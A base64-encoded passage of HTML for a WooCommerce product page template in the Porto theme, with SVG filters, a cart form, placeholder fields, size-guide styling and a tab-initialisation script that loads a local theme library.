IDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1wdXJwbGUtZ3JlZW4iPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC42NTA5ODAzOTIxNTY4NiAwLjQwMzkyMTU2ODYyNzQ1Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNDQ3MDU4ODIzNTI5NDEgMC40Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ibHVlLW9yYW5nZSI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjA5ODAzOTIxNTY4NjI3NSAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNjYyNzQ1MDk4MDM5MjIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuODQ3MDU4ODIzNTI5NDEgMC40MTk2MDc4NDMxMzcyNSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8ZGl2IGNsYXNzPSJwYWdlLXdyYXBwZXIgc2lkZS1uYXYiPjwhLS0gcGFnZSB3cmFwcGVyIC0tPg0KDQogICAgPCEtLSBoZWFkZXIgd3JhcHBlciAtLT4NCiAgICA8ZGl2IGNsYXNzPSJoZWFkZXItd3JhcHBlciBoZWFkZXItc2lkZS1uYXYgc2lkZS1uYXYtd3JhcCI+DQogICAgICAgIDxoZWFkZXIgaWQ9ImhlYWRlciIgY2xhc3M9ImhlYWRlci1zaWRlIHN0aWNreS1tZW51LWhlYWRlciIgZGF0YS1wbHVnaW4tc3RpY2t5DQogICAgICAgICAgICAgICAgZGF0YS1wbHVnaW4tb3B0aW9ucz0ieyZxdW90O2F1dG9Jbml0JnF1b3Q7OiB0cnVlLCAmcXVvdDttaW5XaWR0aCZxdW90OzogOTkyLCAmcXVvdDtjb250YWluZXJTZWxlY3RvciZxdW90OzogJnF1b3Q7LnBhZ2Utd3JhcHBlciZxdW90OywmcXVvdDthdXRvRml0JnF1b3Q7OnRydWUsICZxdW90O3BhZGRpbmdPZmZzZXRCb3R0b20mcXVvdDs6IDAsICZxdW90O3BhZGRpbmdPZmZzZXRUb3AmcXVvdDs6IDB9Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlci1tYWluIHNob3ctbWluaWNhcnQiPg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJzaWRlYmFyLW1lbnUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7cHJvZHVjdF9jYXRlZ29yeX19DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im1vYmlsZS10b2dnbGUiIGFyaWEtbGFiZWw9Ik1vYmlsZSBNZW51IiBocmVmPSIjIj48aSBjbGFzcz0iZmFzIGZhLWJhcnMiPjwvaT48L2E+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQteGwtbm9uZSBkLWxnLW5vbmUgaW5saW5lLWJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtaW5pLWNhcnQiIGNsYXNzPSJtaW5pLWNhcnQgc2ltcGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1oZWFkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjYXJ0LWljb24iPjxpIGNsYXNzPSJtaW5pY2FydC1pY29uIHBvcnRvLWljb24tc2hvcHBpbmctY2FydCI+PC9pPjxzcGFuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zIj4wPC9zcGFuPjwvc3Bhbj48c3Bhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zLXRleHQiPjAgaXRlbXM8L3NwYW4+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtcG9wdXAgd2lkZ2V0X3Nob3BwaW5nX2NhcnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2lkZ2V0X3Nob3BwaW5nX2NhcnRfY29udGVudCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1sb2FkaW5nIj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9oZWFkZXI+DQoNCiAgICA8L2Rpdj4NCiAgICA8IS0tIGVuZCBoZWFkZXIgd3JhcHBlciAtLT4NCg0KICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcHBlciI+DQoNCiAgICAgICAgPHNlY3Rpb24gY2xhc3M9InBhZ2UtdG9wIHBhZ2UtaGVhZGVyLTYiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGhpZGUtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgIHt7ZGV0YWlsX2JyZWFkY3J1bWJ9fQ0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvc2VjdGlvbj4NCg0KICAgICAgICA8ZGl2IGlkPSJtYWluIiBjbGFzcz0iY29sdW1uMSBib3hlZCI+PCEtLSBtYWluIC0tPg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBtYWluLWNvbnRlbnQtd3JhcCI+DQoNCiAgICAgICAgICAgICAgICAgICAgPCEtLSBtYWluIGNvbnRlbnQgLS0+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCBjb2wtbGctMTIiPg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSJjb250ZW50LWFyZWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtYWluIGlkPSJjb250ZW50IiBjbGFzcz0ic2l0ZS1tYWluIj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Indvb2NvbW1lcmNlLW5vdGljZXMtd3JhcHBlciI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByb2R1Y3QtaXRlbSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0icHJvZHVjdCB0eXBlLXByb2R1Y3QgcG9zdC1pdGVtIHN0YXR1cy1wdWJsaXNoIGZpcnN0IGluc3RvY2sgaGFzLXBvc3QtdGh1bWJuYWlsIHNhbGUgc2hpcHBpbmctdGF4YWJsZSBwdXJjaGFzYWJsZSBwcm9kdWN0LXR5cGUtc2ltcGxlIHByb2R1Y3QtbGF5b3V0LWRlZmF1bHQiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LXN1bW1hcnktd3JhcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VtbWFyeS1iZWZvcmUgY29sLW1kLTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGFiZWxzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJvbnNhbGUiPi00MCU8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9pbWFnZXN9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdW1tYXJ5IGVudHJ5LXN1bW1hcnkgY29sLW1kLTciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF90aXRsZX19DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2RldGFpbF9wcm9kdWN0X3ByaWNlfX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3RfbWV0YSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9tZXRhfX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJjYXJ0IiBhY3Rpb249Ii8iIG1ldGhvZD0icG9zdCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icXVhbnRpdHkgYnV0dG9uc19hZGRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiB2YWx1ZT0iLSIgY2xhc3M9Im1pbnVzIj4tPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU9Im51bWJlciINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZD0icXVhbnRpdHlfNjY0ZWUxODcwZGVlYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iaW5wdXQtdGV4dCBxdHkgdGV4dCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGVwPSIxIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1pbj0iMSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXg9IjQ4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU9InF1YW50aXR5Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlPSIxIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJRdHkiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6ZT0iNCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj0iIiBpbnB1dG1vZGU9Im51bWVyaWMiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIHZhbHVlPSIrIiBjbGFzcz0icGx1cyI+KzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImFkZC10by1jYXJ0IiBjbGFzcz0ic2luZ2xlX2FkZF90b19jYXJ0X2J1dHRvbiBidXR0b24gYWx0IGFkZF90b19jYXJ0X21heCBwb3J0by1hZGQtdG8tY2FydCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZCB0byBjYXJ0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvY2FydCIgdGFiaW5kZXg9IjEiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9IndjLWFjdGlvbi1idG4gdmlldy1jYXJ0LWJ0biBidXR0b24gd2MtZm9yd2FyZCI+Vmlldw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXJ0PC9hPjwvZm9ybT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PjwhLS0gLnN1bW1hcnkgLS0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3b29jb21tZXJjZS10YWJzIHdvb2NvbW1lcmNlLXRhYnMtbWMyc2NxNnkgcmVzcC1odGFicyIgaWQ9InByb2R1Y3QtdGFiIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9InJlc3AtdGFicy1saXN0IiByb2xlPSJ0YWJsaXN0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJkZXNjcmlwdGlvbl90YWIiIGlkPSJ0YWItdGl0bGUtZGVzY3JpcHRpb24iIHJvbGU9InRhYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWEtY29udHJvbHM9InRhYi1kZXNjcmlwdGlvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEZXNjcmlwdGlvbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imdsb2JhbF90YWJfdGFiIiBpZD0idGFiLXRpdGxlLWdsb2JhbF90YWIiIHJvbGU9InRhYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWEtY29udHJvbHM9InRhYi1nbG9iYWxfdGFiIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpemUgR3VpZGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVzcC10YWJzLWNvbnRhaW5lciI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFiLWNvbnRlbnQiIGlkPSJ0YWItZGVzY3JpcHRpb24iPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDI+RGVzY3JpcHRpb248L2gyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9kZXNjcmlwdGlvbn19DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFiLWNvbnRlbnQiIGlkPSJ0YWItZ2xvYmFsX3RhYiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3J0by1ibG9jayIgZGF0YS1pZD0iNTI3Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3R5bGU+LnNpemVzLXRhYmxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzIxMjkzYzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGhlYWQgdGggew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjRmNGYyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5zaXplcy10YWJsZSB0Ym9keSB0cjpudGgtY2hpbGQoMm4pID4gKiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlYmViZWI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNpemVzLXRhYmxlIHRoZWFkIHRoIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMzBweCAwIDMwcHggMTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGJvZHkgdGQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDAgMTJweCAxMHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogNTc2cHgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNpemVzLXRhYmxlIHRoZWFkIHRoOmZpcnN0LWNoaWxkLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGJvZHkgdGggew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAzMHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTwvc3R5bGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBwb3J0b19pbml0X2Rlc2NfdGFiID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbiAoJCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgJHRhYnMgPSAkKCcud29vY29tbWVyY2UtdGFicy1tYzJzY3E2eScpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGluaXRfdGFicygkdGFicykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMuZWFzeVJlc3BvbnNpdmVUYWJzKHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnZGVmYXVsdCcsIC8vVHlwZXM6IGRlZmF1bHQsIHZlcnRpY2FsLCBhY2NvcmRpb24NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogJ2F1dG8nLCAvL2F1dG8gb3IgYW55IHdpZHRoIGxpa2UgNjAwcHgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaXQ6IHRydWUsICAgLy8gMTAwJSBmaXQgaW4gYSBjb250YWluZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY3RpdmF0ZTogZnVuY3Rpb24gKGV2ZW50KSB7IC8vIENhbGxiYWNrIGZ1bmN0aW9uIGlmIHRhYiBpcyBzd2l0Y2hlZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkLmZuLmVhc3lSZXNwb25zaXZlVGFicykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGpzX3NyYyA9ICIvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9l